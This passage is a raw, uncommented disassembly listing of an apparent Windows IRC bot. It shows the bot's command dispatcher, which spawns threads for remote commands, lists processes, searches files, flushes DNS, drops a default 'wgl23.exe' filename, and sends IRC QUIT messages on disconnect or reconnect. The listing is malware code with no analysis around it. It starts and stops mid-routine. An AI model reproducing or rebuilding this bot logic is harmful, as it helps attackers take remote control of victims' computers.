		push	offset unk_4420F8
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_403CA4:				; CODE XREF: sub_401CC7+1B1Fj
					; sub_401CC7+1B34j
		push	5
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_403CBA
		push	offset unk_441FEC
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_403CBA:				; CODE XREF: sub_401CC7+1FE7j
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		jz	short loc_403CDD
		push	eax		; Format
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_403CF1
; ---------------------------------------------------------------------------

loc_403CDD:				; CODE XREF: sub_401CC7+1FFCj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4F6378	; GetModuleFileNameA

loc_403CF1:				; CODE XREF: sub_401CC7+2014j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_403D01
		mov	esi, offset Str	; "wgl23.exe"

loc_403D01:				; CODE XREF: sub_401CC7+2033j
		push	esi		; Format
		lea	eax, [ebp+var_2C4C]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, dword_440078
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_2B40]
		push	offset asc_44200C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	5		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset sub_41224F
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_403DCD

loc_403DB7:				; CODE XREF: sub_401CC7+2104j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_403DB7
; ---------------------------------------------------------------------------

loc_403DCD:				; CODE XREF: sub_401CC7+20EEj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442040
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_403DDE:				; CODE XREF: sub_401CC7+1AF5j
					; sub_401CC7+1B0Aj
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_403DFD
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403DFD
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_403E02
; ---------------------------------------------------------------------------

loc_403DFD:				; CODE XREF: sub_401CC7+2120j
					; sub_401CC7+212Bj
		mov	eax, dword_44007C

loc_403E02:				; CODE XREF: sub_401CC7+2134j
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403E35
		lea	eax, [ebp+var_37CC]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_403E60
; ---------------------------------------------------------------------------

loc_403E35:				; CODE XREF: sub_401CC7+215Bj
		lea	eax, [ebp+FullPath]
		push	104h
		push	eax
		call	ds:dword_4F637C	; GetSystemDirectoryA
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h

loc_403E60:				; CODE XREF: sub_401CC7+216Cj
		lea	eax, [ebp+var_37CC]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403E8B
		lea	eax, [ebp+var_37CC]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403E8B:				; CODE XREF: sub_401CC7+21AEj
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441F60 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	3		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40FB88
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_403F3F

loc_403F2D:				; CODE XREF: sub_401CC7+2276j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403F5A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_403F2D
; ---------------------------------------------------------------------------

loc_403F3F:				; CODE XREF: sub_401CC7+2264j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset asc_441F9C ; "-"

loc_403F4B:				; CODE XREF: sub_401CC7+23D9j
					; sub_401CC7+4E0Cj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_403F5A:				; CODE XREF: sub_401CC7+226Cj
					; sub_401CC7+23BDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408708
		push	ebx
		push	edi
		jmp	loc_4075CD
; ---------------------------------------------------------------------------

loc_403F6A:				; CODE XREF: sub_401CC7+1ACBj
					; sub_401CC7+1AE0j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_403F89
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403F89
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_403F8E
; ---------------------------------------------------------------------------

loc_403F89:				; CODE XREF: sub_401CC7+22ACj
					; sub_401CC7+22B7j
		mov	eax, dword_440080

loc_403F8E:				; CODE XREF: sub_401CC7+22C0j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jnz	short loc_403FA5
		lea	eax, [ebp+var_C0]

loc_403FA5:				; CODE XREF: sub_401CC7+22D6j
		push	eax		; Format
		lea	eax, [ebp+var_1964]
		push	40h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+Str2]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403FC7
		mov	esi, offset dword_4E40C4

loc_403FC7:				; CODE XREF: sub_401CC7+22F9j
		push	esi		; Format
		lea	eax, [ebp+var_1924]
		push	100h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441ED4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	9		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset sub_411506
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_404094

loc_40407E:				; CODE XREF: sub_401CC7+23CBj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403F5A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40407E
; ---------------------------------------------------------------------------

loc_404094:				; CODE XREF: sub_401CC7+23B5j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441F10
		jmp	loc_403F4B
; ---------------------------------------------------------------------------

loc_4040A5:				; CODE XREF: sub_401CC7+1AA1j
					; sub_401CC7+1AB6j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_4040B8
		push	esi		; Str
		call	_atoi
		jmp	short loc_4040BF
; ---------------------------------------------------------------------------

loc_4040B8:				; CODE XREF: sub_401CC7+23E7j
		push	0Bh
		call	sub_40B9F5

loc_4040BF:				; CODE XREF: sub_401CC7+23EFj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409B47
		push	eax		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40C0EE
		jmp	loc_4045A8
; ---------------------------------------------------------------------------

loc_4040DF:				; CODE XREF: sub_401CC7+1A77j
					; sub_401CC7+1A8Cj
		mov	eax, dword_4E413C
		cmp	eax, ebx
		jz	short loc_4040FC
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_4040F5
		push	offset unk_441E30
		jmp	short loc_404101
; ---------------------------------------------------------------------------

loc_4040F5:				; CODE XREF: sub_401CC7+2425j
		push	offset unk_441E54
		jmp	short loc_404101
; ---------------------------------------------------------------------------

loc_4040FC:				; CODE XREF: sub_401CC7+241Fj
		push	offset asc_441E80 ; "-"

loc_404101:				; CODE XREF: sub_401CC7+242Cj
					; sub_401CC7+2433j ...
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_407025
; ---------------------------------------------------------------------------

loc_404117:				; CODE XREF: sub_401CC7+1A4Dj
					; sub_401CC7+1A62j
		call	sub_40AEC5
		test	eax, eax
		jz	short loc_404127
		push	offset unk_441DCC
		jmp	short loc_404101
; ---------------------------------------------------------------------------

loc_404127:				; CODE XREF: sub_401CC7+2457j
		push	offset unk_441DF0
		jmp	short loc_404101
; ---------------------------------------------------------------------------

loc_40412E:				; CODE XREF: sub_401CC7+1A23j
					; sub_401CC7+1A38j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40414D
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_441D84 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40414D:				; CODE XREF: sub_401CC7+246Aj
		push	ebx		; int
		push	[ebp+var_4]	; int
		call	sub_418F27
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		push	offset dword_441D9C
		jmp	loc_404471
; ---------------------------------------------------------------------------

loc_40416F:				; CODE XREF: sub_401CC7+18BAj
					; sub_401CC7+18CFj
		push	0Ah
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_404182
		push	offset unk_441C94
		jmp	short loc_4041A3
; ---------------------------------------------------------------------------

loc_404182:				; CODE XREF: sub_401CC7+24B2j
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_41AB7D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40419E
		push	offset unk_441CC0
		jmp	short loc_4041A3
; ---------------------------------------------------------------------------

loc_40419E:				; CODE XREF: sub_401CC7+24CEj
		push	offset asc_441CE8 ; "-"

loc_4041A3:				; CODE XREF: sub_401CC7+24B9j
					; sub_401CC7+24D5j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4041B1:				; CODE XREF: sub_401CC7+59B1j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041D2
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int

loc_4041CA:				; CODE XREF: sub_401CC7+6FD8j
		call	sub_409D6C
		add	esp, 14h

loc_4041D2:				; CODE XREF: sub_401CC7+24EDj
					; sub_401CC7+26E8j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		jmp	loc_409CD4
; ---------------------------------------------------------------------------

loc_4041E3:				; CODE XREF: sub_401CC7+1890j
					; sub_401CC7+18A5j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40AAC8
		jmp	loc_404492
; ---------------------------------------------------------------------------

loc_4041FC:				; CODE XREF: sub_401CC7+1866j
					; sub_401CC7+187Bj
		push	dword ptr [ebp+esi+Args] ; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4177D5
		jmp	loc_404492
; ---------------------------------------------------------------------------

loc_404219:				; CODE XREF: sub_401CC7+183Cj
					; sub_401CC7+1851j
		or	edi, 0FFFFFFFFh
		call	ds:dword_4F63B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Src], eax
		jz	short loc_404242
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	edi, eax

loc_404242:				; CODE XREF: sub_401CC7+2570j
		mov	eax, [ebp+Src]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40425B
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409B47

loc_40425B:				; CODE XREF: sub_401CC7+2589j
		push	ebx
		call	sub_41B7A7
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441C4C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77

loc_404299:				; CODE XREF: sub_401CC7+53ECj
		add	esp, 24h
		jmp	loc_409B47
; ---------------------------------------------------------------------------

loc_4042A1:				; CODE XREF: sub_401CC7+1812j
					; sub_401CC7+1827j
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_4165C9
		add	esp, 0Ch
		push	offset dword_441C20
		jmp	loc_40724C
; ---------------------------------------------------------------------------

loc_4042BF:				; CODE XREF: sub_401CC7+17E8j
					; sub_401CC7+17FDj
		push	27h
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_4042F0
		cmp	[ebp+var_8], ebx
		jnz	loc_402166
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_441B90 ; int

loc_4042DD:				; CODE XREF: sub_401CC7+51B8j
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		jmp	loc_409055
; ---------------------------------------------------------------------------

loc_4042F0:				; CODE XREF: sub_401CC7+2602j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_B2C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404351
		push	esi		; Str2
		push	offset aFull	; "full"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404351
		mov	[ebp+var_AA8], 1

loc_404351:				; CODE XREF: sub_401CC7+266Dj
					; sub_401CC7+267Ej
		lea	eax, [ebp+Dst]
		push	offset asc_441BB8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	27h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A804
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_4043BF

loc_4043A9:				; CODE XREF: sub_401CC7+26F6j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4041D2
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4043A9
; ---------------------------------------------------------------------------

loc_4043BF:				; CODE XREF: sub_401CC7+26E0j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441BD4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4041D2
; ---------------------------------------------------------------------------

loc_4043DF:				; CODE XREF: sub_401CC7+17BEj
					; sub_401CC7+17D3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4043FE
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_441B68 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4043FE:				; CODE XREF: sub_401CC7+271Bj
		push	[ebp+arg_4]
		call	dword_4E42B8	; closesocket
		call	dword_4E4178	; WSACleanup
		call	sub_41912E
		push	ebx
		call	ds:dword_4F636C	; ExitProcess

loc_404419:				; CODE XREF: sub_401CC7+1794j
					; sub_401CC7+17A9j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	eax
		call	sub_41B964
		pop	ecx
		pop	ecx
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		push	offset dword_441B40
		jmp	short loc_404471
; ---------------------------------------------------------------------------

loc_404444:				; CODE XREF: sub_401CC7+176Aj
					; sub_401CC7+177Fj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41BC18
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		push	offset dword_441B18

loc_404471:				; CODE XREF: sub_401CC7+24A3j
					; sub_401CC7+277Bj
		call	sub_415C77
		add	esp, 18h
		jmp	loc_409B47
; ---------------------------------------------------------------------------

loc_40447E:				; CODE XREF: sub_401CC7+1740j
					; sub_401CC7+1755j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_415DB4

loc_404492:				; CODE XREF: sub_401CC7+3BFj
					; sub_401CC7+2530j ...
		add	esp, 10h
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_40449A:				; CODE XREF: sub_401CC7+1716j
					; sub_401CC7+172Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4044D9
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_4044D9
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044D9
		push	eax
		push	offset aS_37	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h

loc_4044D9:				; CODE XREF: sub_401CC7+27DCj
					; sub_401CC7+27E7j ...
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_1614]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441AAC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	25h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset sub_415E27
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40457C

loc_404566:				; CODE XREF: sub_401CC7+28B3j
		cmp	[ebp+var_1508],	ebx
		jnz	loc_402166
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_404566
; ---------------------------------------------------------------------------

loc_40457C:				; CODE XREF: sub_401CC7+289Dj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441AC4
		jmp	loc_409CCE
; ---------------------------------------------------------------------------

loc_40458D:				; CODE XREF: sub_401CC7+16ECj
					; sub_401CC7+1701j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_415BFF
		push	offset dword_441A88
		call	sub_415C77

loc_4045A8:				; CODE XREF: sub_401CC7+2413j
		add	esp, 10h
		jmp	loc_409B47
; ---------------------------------------------------------------------------

loc_4045B0:				; CODE XREF: sub_401CC7+16C2j
					; sub_401CC7+16D7j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_BC4]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40460A
		push	offset aSub	; "sub"
		push	esi		; Str1
		call	_strcmp
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404610
; ---------------------------------------------------------------------------

loc_40460A:				; CODE XREF: sub_401CC7+2927j
		mov	[ebp+var_B40], ebx

loc_404610:				; CODE XREF: sub_401CC7+2941j
		lea	eax, [ebp+Dst]
		push	offset asc_441A20 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	28h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_40B7F9
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40467E

loc_404668:				; CODE XREF: sub_401CC7+29B5j
		cmp	[ebp+var_B34], ebx
		jnz	loc_407049
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_404668
; ---------------------------------------------------------------------------

loc_40467E:				; CODE XREF: sub_401CC7+299Fj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441A40
		jmp	loc_409575
; ---------------------------------------------------------------------------

loc_40468F:				; CODE XREF: sub_401CC7+1646j
					; sub_401CC7+165Bj
		push	offset aK3y	; "k3y"
		push	offset asc_4419A8 ; "-"

loc_404699:				; CODE XREF: sub_401CC7+2A11j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 20h
		jmp	loc_407049
; ---------------------------------------------------------------------------

loc_4046C6:				; CODE XREF: sub_401CC7+161Cj
					; sub_401CC7+1631j
		push	dword_4E3F2C
		call	sub_41B7A7
		pop	ecx
		push	eax
		push	offset unk_441974
		jmp	short loc_404699
; ---------------------------------------------------------------------------

loc_4046DA:				; CODE XREF: sub_401CC7+15F2j
					; sub_401CC7+1607j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40470C
		cmp	[ebp+var_C], ebx
		jz	short loc_40471B
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40471B
		push	eax		; Args
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		jmp	short loc_40471B
; ---------------------------------------------------------------------------

loc_40470C:				; CODE XREF: sub_401CC7+2A1Cj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		pop	ecx
		pop	ecx

loc_40471B:				; CODE XREF: sub_401CC7+2A21j
					; sub_401CC7+2A30j ...
		push	0FFFFFFFEh
		jmp	loc_402168
; ---------------------------------------------------------------------------

loc_404722:				; CODE XREF: sub_401CC7+15C8j
					; sub_401CC7+15DDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		push	offset dword_441924
		call	sub_415C77
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_404744:				; CODE XREF: sub_401CC7+159Ej
					; sub_401CC7+15B3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		push	offset dword_4418E0
		call	sub_415C77
		add	esp, 0Ch
		jmp	loc_409AB0
; ---------------------------------------------------------------------------

loc_404763:				; CODE XREF: sub_401CC7+1574j
					; sub_401CC7+1589j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BE72
		jmp	loc_404B36
; ---------------------------------------------------------------------------

loc_404779:				; CODE XREF: sub_401CC7+154Aj
					; sub_401CC7+155Fj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BE1D
		jmp	loc_404B36
; ---------------------------------------------------------------------------

loc_40478F:				; CODE XREF: sub_401CC7+1520j
					; sub_401CC7+1535j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BDB1
		jmp	loc_404B36
; ---------------------------------------------------------------------------

loc_4047A5:				; CODE XREF: sub_401CC7+14F6j
					; sub_401CC7+150Bj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BCE2
		jmp	loc_404B36
; ---------------------------------------------------------------------------

loc_4047BB:				; CODE XREF: sub_401CC7+1451j
					; sub_401CC7+1466j
		push	dword ptr [ebp+esi+Args]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_4417E4
		jmp	short loc_4047E3
; ---------------------------------------------------------------------------

loc_4047D0:				; CODE XREF: sub_401CC7+1427j
					; sub_401CC7+143Cj
		push	dword ptr [ebp+esi+Args] ; Str
		push	24h		; int
		push	offset aFindFile ; "Find file"
		push	offset dword_4417B0 ; int

loc_4047E3:				; CODE XREF: sub_401CC7+102Cj
					; sub_401CC7+107Fj ...
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		call	sub_40BA1C
		add	esp, 20h
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_4047FF:				; CODE XREF: sub_401CC7+1040j
					; sub_401CC7+1055j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_40481E
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_40481E
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_404823
; ---------------------------------------------------------------------------

loc_40481E:				; CODE XREF: sub_401CC7+2B41j
					; sub_401CC7+2B4Cj
		mov	eax, dword_440074

loc_404823:				; CODE XREF: sub_401CC7+2B55j
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404848
		push	esi		; Format

loc_404835:				; CODE XREF: sub_401CC7+2B90j
